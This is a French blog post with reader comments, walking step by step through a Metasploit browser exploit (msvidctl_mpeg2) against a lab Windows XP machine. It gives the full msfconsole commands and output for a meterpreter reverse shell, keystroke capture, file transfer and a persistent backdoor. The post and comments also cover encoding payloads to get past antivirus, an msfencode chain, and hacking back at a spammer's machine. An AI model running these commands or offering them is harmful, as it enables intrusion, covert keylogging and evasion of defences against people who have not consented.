Metasploit et Meterpreter pour du piratage facile ?

14 juillet 2009 par Gaëtan Laisser une réponse »

Bijour à vous …

Aujourd’hui, un petit article pour introduire (ou pas) metasploit (un framework pour tester la vulnérabilité des machines sur son réseau ou ailleurs ^^) et meterpreter (qui permet l’utilisation de script pour automatiser certain truc), suite à la lecture d’un sympatique article, qui montrait comment se connecter à une machine windows via l’utilisation de deux payloads, la première pour executer la deuxième en différé et ainsi sortir du logiciel planté (la faille exploitée faisant planter IE7, on perdait donc la connexion à la machine), je ne vais pas vous faire un copier/coller de l’article en question, mais seulement montrer quelques commandes et outils sympa pour utiliser la suite metasploit.

Donc voilà, sous linux, il suffit :

  • D’installer ruby : apt-get install ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygem
  • De checkout ce dépot svn : http://metasploit.com/svn/framework3/trunk/

Voilà, nous somme prêts à : conquérir le monde / devenir un lamerz / mettre une dérouillé à ses pôtes à la prochaine lan party rayez les mentions inutiles.

Il vous faut bien entendu plusieurs machines sur votre réseau local, ou une machine virtuelle qui sera la cible (chez moi une machine windows répondant au doux nom de 192.168.0.18) et mon foudre de guerre (un Amstrad 6128 …) répondant au doux nom de 192.168.0.15.

Une utilisation plutôt générique de la bestiole ce fait ainsi :

kikoo@WillOwnDaWorld:~/Documents/SVN/Metasploit3$ sudo ./msfconsole
  1. [sudo] password for kikoo:
  2.  
  3.                                   _       _
  4.              _                   | |     (_)_
  5.  ____   ____| |_  ____  ___ ____ | | ___  _| |_
  6. |    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
  7. | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
  8. |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
  9.                            |_|
  10.  
  11.        =[ msf v3.3-dev
  12. + — –=[ 324 exploits – 221 payloads
  13. + — –=[ 20 encoders – 6 nops
  14.        =[ 103 aux
  15.  
  16. msf &gt; <strong>use exploit/windows/browser/msvidctl_mpeg2</strong>

Ici on charge l’exploit msvidtcl_mpeg2 (qui n’est pas encore corrigé par Miss Crosoft)

  1. msf exploit(msvidctl_mpeg2) &gt; <strong>set PAYLOAD windows/meterpreter/reverse_tcp</strong>

Ici on choisit la charge, pour ma part : un bon vieux BFG / 50mm pour Gatlin / une connexion tcp inverse (rayez les mentions inutiles ;) ) qui permet de contourner les firewalls/routeurs basique

  1. PAYLOAD =&gt; <strong>windows/meterpreter/reverse_tcp</strong>
  2. msf exploit(msvidctl_mpeg2) &gt; <strong>show options</strong>

On mat les options, que l’on peut modifier via les set plus bas

Module options:
  1.  
  2.    Name     Current Setting  Required  Description
  3.    —-     —————  ——–  ———–
  4.    SRVHOST  0.0.0.0          yes       The local host to listen on.
  5.    SRVPORT  8080             yes       The local port to listen on.
  6.    SSL      false            no        Use SSL
  7.    URIPATH                   no        The URI to use for this exploit (default is random)  
  8.  
  9. Payload options (windows/meterpreter/reverse_tcp):
  10.  
  11.    Name      Current Setting  Required  Description
  12.    —-      —————  ——–  ———–
  13.    EXITFUNC  process          yes       Exit technique: seh, thread, process
  14.    LHOST                      yes       The local address
  15.    LPORT     4444             yes       The local port                        
  16.  
  17. Exploit target:
  18.  
  19.    Id  Name
  20.    –  —-
  21.    0   Windows XP SP0-SP3 / IE 6.0 SP0-2 &amp; IE 7.0  
  22.  
  23. msf exploit(msvidctl_mpeg2) &gt; <strong>set SRVHOST 192.168.0.15</strong>
  24. SRVHOST =&gt; 192.168.0.15
  25. msf exploit(msvidctl_mpeg2) &gt; <strong>set SRVPORT 80</strong>
  26. SRVPORT =&gt; 80
  27. msf exploit(msvidctl_mpeg2) &gt; <strong>set URIPATH kikoo</strong>
  28. URIPATH =&gt; kikoo
  29. msf exploit(msvidctl_mpeg2) &gt; <strong>set LHOST 192.168.0.15</strong>
  30. LHOST =&gt; 192.168.0.15

Maintenant que j’ai set mes ips et port, je peux donc lancer l’exploit …

msf exploit(msvidctl_mpeg2) > exploit
  1. [*] Exploit running as background job.
  2. msf exploit(msvidctl_mpeg2) &gt;
  3. [*] Handler binding to LHOST 0.0.0.0
  4. [*] Started reverse handler
  5. [*] Using URL: http://192.168.0.15:80/kikoo
  6. [*] Server started.

A partir de maintenant, si une machine sous windows se connecte à notre serveur sur le port 80 (http) avec Internet Explorer, pas mal de chose bizzare vont ce produire ^^.
Ce qui va d’ailleurs ce produire :

[*] Sending HTML to 192.168.0.18:1100…
  1. [*] Sending exploit to 192.168.0.18:1100
  2. [*] Sending GIF to 192.168.0.18:1100
  3. [*] Transmitting intermediate stager for over-sized stage…(216 bytes)
  4. [*] Sending stage (718336 bytes)
  5. [*] Meterpreter session 1 opened (192.168.0.15:4444 -&gt; 192.168.0.18:1102)

Ici, metasploit nous indique, qu’une session a pu être ouverte sur la machine distante … je peux ouvrir la session en question en tapant la commande suivante :

msf exploit(msvidctl_mpeg2) > sessions -i 1
  1.  
  2. [*] Starting interaction with 1

A partir de maintenant, je peux utiliser l’ensemble des scripts fournit par meterpreter (taper help pour de l’aide)

meterpreter > help
  1.  
  2. Core Commands
  3. =============
  4.  
  5.     Command       Description
  6.     ——-       ———–
  7.     ?             Help menu
  8.     background    Backgrounds the current session
  9.     channel       Displays information about active channels
  10.     close         Closes a channel
  11.     exit          Terminate the meterpreter session
  12.     help          Help menu
  13.     interact      Interacts with a channel
  14.     irb           Drop into irb scripting mode
  15.     migrate       Migrate the server to another process
  16.     quit          Terminate the meterpreter session
  17.     read          Reads data from a channel
  18.     run           Executes a meterpreter script
  19.     use           Load a one or more meterpreter extensions
  20.     write         Writes data to a channel                    
  21.  
  22. Stdapi: File system Commands
  23. ============================
  24.  
  25.     Command       Description
  26.     ——-       ———–
  27.     cat           Read the contents of a file to the screen
  28.     cd            Change directory
  29.     download      Download a file or directory
  30.     edit          Edit a file
  31.     getlwd        Print local working directory
  32.     getwd         Print working directory
  33.     lcd           Change local working directory
  34.     lpwd          Print local working directory
  35.     ls            List files
  36.     mkdir         Make directory
  37.     pwd           Print working directory
  38.     rmdir         Remove directory
  39.     upload        Upload a file or directory                
  40.  
  41. Stdapi: Networking Commands
  42. ===========================
  43.  
  44.     Command       Description
  45.     ——-       ———–
  46.     ipconfig      Display interfaces
  47.     portfwd       Forward a local port to a remote service
  48.     route         View and modify the routing table        
  49.  
  50. Stdapi: System Commands
  51. =======================
  52.  
  53.     Command       Description
  54.     ——-       ———–
  55.     execute       Execute a command
  56.     getpid        Get the current process identifier
  57.     getuid        Get the user that the server is running as
  58.     kill          Terminate a process
  59.     ps            List running processes
  60.     reboot        Reboots the remote computer
  61.     reg           Modify and interact with the remote registry
  62.     rev2self      Calls RevertToSelf() on the remote machine
  63.     shutdown      Shuts down the remote computer
  64.     sysinfo       Gets information about the remote system, such as OS  
  65.  
  66. Stdapi: User interface Commands
  67. ===============================
  68.  
  69.     Command        Description
  70.     ——-        ———–
  71.     enumdesktops   List all accessible desktops and window stations
  72.     idletime       Returns the number of seconds the remote user has been idle
  73.     keyscan_dump   Dump they keystroke buffer
  74.     keyscan_start  Start capturing keystrokes
  75.     keyscan_stop   Stop capturing keystrokes
  76.     setdesktop     Move to a different workstation and desktop
  77.     uictl          Control some of the user interface components

Voilà l’ensemble des choses plutôt sympa que fournit l’outil, pour ma part, j’ai testé plusieurs trucs :
La récupération des informations sur la machine et ses interfaces IP, le genre de truc inintéressant … :

meterpreter > ipconfig
  1.  
  2. MS TCP Loopback interface
  3. Hardware MAC: 00:00:00:00:00:00
  4. IP Address  : 127.0.0.1
  5. Netmask     : 255.0.0.0
  6.  
  7. Carte AMD PCNET Family Ethernet PCI – Miniport d'ordonnancement de paquets
  8. Hardware MAC: 08:00:27:ac:2e:b6
  9. IP Address  : 192.168.0.18
  10. Netmask     : 255.255.255.0
  11. meterpreter &gt; <strong>sysinfo</strong>
  12. Computer: ORDINATEUR
  13. OS      : Windows XP (Build 2600, Service Pack 2).

Puis l’utilisation du sniffer … déjà plus intéressant :

meterpreter > keyscan_start
  1. Starting the keystroke sniffer…
  2. meterpreter &gt; <strong>keyscan_dump</strong>

Pour afficher ce qui a été tapé au clavier (ici n’importe quoi)

Dumping captured keystrokes…
  1. dgdf        ki    C/  Progr          8Sys          Com              8

Sinon, d’autre commande sont sympa comme :
upload « nom du fichier » qui permet d’uploader des fichiers sur la machines cible
download « nom du fichier » qui permet de télécharger des fichiers depuis la machine cible
kill, reboot, reg (ça se devine). Et aussi l’utilisation de run avec le scheduleme (dans le premier lien) qui est super intéressant dans le cadre de l’utilisation de la faille exploité par cette article, et d’autre aussi, pour garder un backdoor de secours en cas de fermeture/redémarrage du soft planté par l’exploit.

Mais voilà … vous avez suivi ces quelques commandes sur une machine windows avec un antivirus plus ou moins à jour et il râle pas mal (si il ne râle pas … c’est que y’a un problème ^^).
C’est naze et inutile ton truc 2G … et non, les développeurs l’avait prévu, pour créer des payloads qui passent les antivirus, il suffit de blinder les charges (voir le set encoding, lors de la création des paramètres).

La question est maintenant … pourquoi un tel logiciel existe ??
Il y a plusieurs raisons … (la domination du monde par les scriptkiddies et kikoolol n’en faisant pas partie :s).
Permettre à des administrateurs de tester la vulnérabilité des machines/softs qui trainent sur leurs réseaux, et ce plutôt facilement, le framework n’étant pas dédié à être « stealth » vis-a-vis des antivirus, l’utilisation du logiciel pour le piratage d’un pc « hors de controle » (appartenant à quelqu’un de non consentant ^^) est plutôt limité (à part si l’on développe son propre encodage de payload et là …)

Pour ma part, une idée d’utilisation relèverait plus du honeypot, dans le cas de figure de l’un de mes articles précédent, lorsqu’un spammeur prend le contrôle d’un serveur et y pose des scripts dans le but d’automatiser son « boulot », il accède à des urls directement, sans trop faire gaffe (ce qui était le cas dans l’attaque en question). On pourrait donc remplacer son script par une backdoor (en utilisant un exploit correspondant au faible informations chopées dans les logs) et récupérer un accès sur sa machine (ou tout du moins l’avertir qu’il n’est plus le bienvenue sur notre serveur via son antivirus qui ralerait suite au chargement de la payload, quoique dans le cas du msvidctl_mpeg2 le chargement de l’activX en ferait tilter plus d’un ;) ).

Publicité

6 commentaires

  1. stephen dit :

    Superbe explication, félicitation.
    Question,

    J’ai essayé sur mon réseau locale et aucun soucis.
    Je voudrais essayer à distance mais pas moyen…
    D’un coté mon pc fixe en DMZ (redirection de tous ports, livebox), de l’autre mon portable (du boulot en DMZ pareil).
    J’accède à ma page @ipPublique:80/exploit, aucun soucis ie plante, je vois bien sur msf serveur qu’il y a les étapes qui se déroulent sauf que je ne récupère pas de meterpreter ni de shell ni quoique ce soit (quelque soit le payload)… Je me demande pourquoi? le NAT est dit inexistant, la machine faillible est la même à la seule différence c’est que c’est ma compagne qui lance ie à distance :s

    Si vous pouviez m’éclairer

    Cordialement, Stef’

  2. kikoo dit :

    Que signifie « le NAT est dit inexistant » ?

    Est-ce que le réseau de l’entreprise embarque des systèmes de types IDS/IPS sur le réseaux ? (Ou d’autres systèmes qui peuvent parfois dropper les paquets « dangeureux »)

    Est-ce que tout les ports sont bien redirigés ? (y compris celui du reverse, ce qui pourrait expliquer la « non » création de la session meterpreter après execution de la payload).

    Sinon, j’ai aussi remarqué que lorsque l’on a deux ip pour un même ordi (genre une connexion wifi et une connexion rj45) et que l’on assigne l’ip d’une interface, mais que l’on se connecte à l’autre ip, la session n’est pas crée, mais le reste fonctionne (ce qui est d’ailleur assez bizzare comme fonctionnement la connexion ne devrait pas avoir lieu).

    Donc il faut bien renseigner le serveur en 0.0.0.0 et dans l’ip du reverse l’ip public.

    Après je sais pas trop … y’aurait pas un firewall ou un antivirus qui traine ?

  3. stephen dit :

    « NAT dit inexistant » dans la mesure où les deux machines étaient en DMZ (je m’explique sinon je vais passer pour gugus si ce n’est déjà fait… J’étais en direct pas de firewall, ids etc ils viennent seulement après.

    J’ai réussi, je me trompé dans l’adresse du reverse :s, tête en l’air je mettais l’@ privée.

    Merci beaucoup en tout cas pour cette réponse rapide et de qualité.

    Bonne fin de journée.

    Stef’

  4. bleh dit :

    ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4444 | ./msfencode -e x86/shikata_ga_nai -t raw | ./msfencode -e x86/fnstenv_mov -t raw | ./msfencode -t exe -o rmeter.exe

    fonctionne pas.. c bien joli de bousiller un payload pour qu’il soit plus reconnu par les av mais faudrai quand meme verifier si ton shell fonctionne aprés..

  5. Gaëtan dit :

    Oui, en fait, il faut plutôt passer par la commande « set encoding » lors de la création de l’exploit, cette méthode rendant inexécutable, l’exécutable généré … (mais lors de la rédaction de cette article cette commande a fonctionnée ;) , depuis le moteur d’encoding a été réécrit, il se peut donc qu’en effet, cette commande ne fonctionne plus).

Laisser un commentaire